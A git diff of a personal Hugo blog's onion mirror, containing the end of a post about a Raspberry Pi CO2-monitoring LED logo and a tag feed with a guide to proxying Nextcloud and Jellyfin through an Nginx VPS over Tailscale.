    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/iot/page/1/index.html b/public-onion/tags/iot/page/1/index.html new file mode 100644 index 0000000..1aecdfa --- /dev/null +++ b/public-onion/tags/iot/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/iot/ + + + + + + diff --git a/public-onion/tags/jellyfin/index.html b/public-onion/tags/jellyfin/index.html new file mode 100644 index 0000000..b8656e4 --- /dev/null +++ b/public-onion/tags/jellyfin/index.html @@ -0,0 +1,379 @@ + + + + + + + +Jellyfin | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin +

    +
    +
    +

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    +
    +
    February 2, 2026 · 6 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4 +

    +
    +
    +

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. +...

    +
    +
    December 21, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/jellyfin/index.xml b/public-onion/tags/jellyfin/index.xml new file mode 100644 index 0000000..6bdae3a --- /dev/null +++ b/public-onion/tags/jellyfin/index.xml @@ -0,0 +1,475 @@ + + + + Jellyfin on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/jellyfin/ + Recent content in Jellyfin on AlipourIm journeys + Hugo -- 0.146.0 + en + Mon, 02 Feb 2026 00:00:00 +0000 + + + Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. + +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

